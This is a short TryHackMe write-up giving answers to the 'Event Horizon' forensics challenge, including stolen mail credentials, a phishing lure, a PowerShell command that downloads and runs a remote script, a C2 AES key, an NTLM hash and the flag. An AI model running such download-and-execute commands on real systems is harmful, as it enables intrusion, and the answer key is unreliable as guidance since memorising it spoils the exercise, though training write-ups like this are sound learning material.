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Event Horizon - TryHackMe writeup

Unearth the secrets beyond the Event Horizon.

HardLinux2 min read

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Task 1. The Event Horizon

Join Tom and Dom on a quest to find out what happens when you look beyond the Event Horizon. A quest beyond borders, they need you to utilize all your abilities to find the secrets that were taken when they crossed over to the other side.

The attacker was able to find the correct pair of credentials for the email service. What were they? Format: email:password

tom.dom@eventhorizon.thm:password

What was the body of the email that was sent by the attacker?

Tom! I have done it! I have found the mass of the black hole we found! Run this script as the AdministratOr! Your BEst friend DOm

What command initiated the malicious script download?

IEX(New-Object Net.WebClient).downloadString('http://10.0.2.45/radius.ps1')

What is the initial AES key that is used for decrypting the C2 traffic?

l86TfRDvvJMtXWxr1PSoh1QlXHnZnLwn+wz+aYy3/s8=

What is the Administrator NTLM hash that the attacker found?

13b1e64400203ecf38b1fdea2b11a09f

What is the flag?

FLAG{ABOVE_AND_B3YOND_THE_EVENT_HORIZON}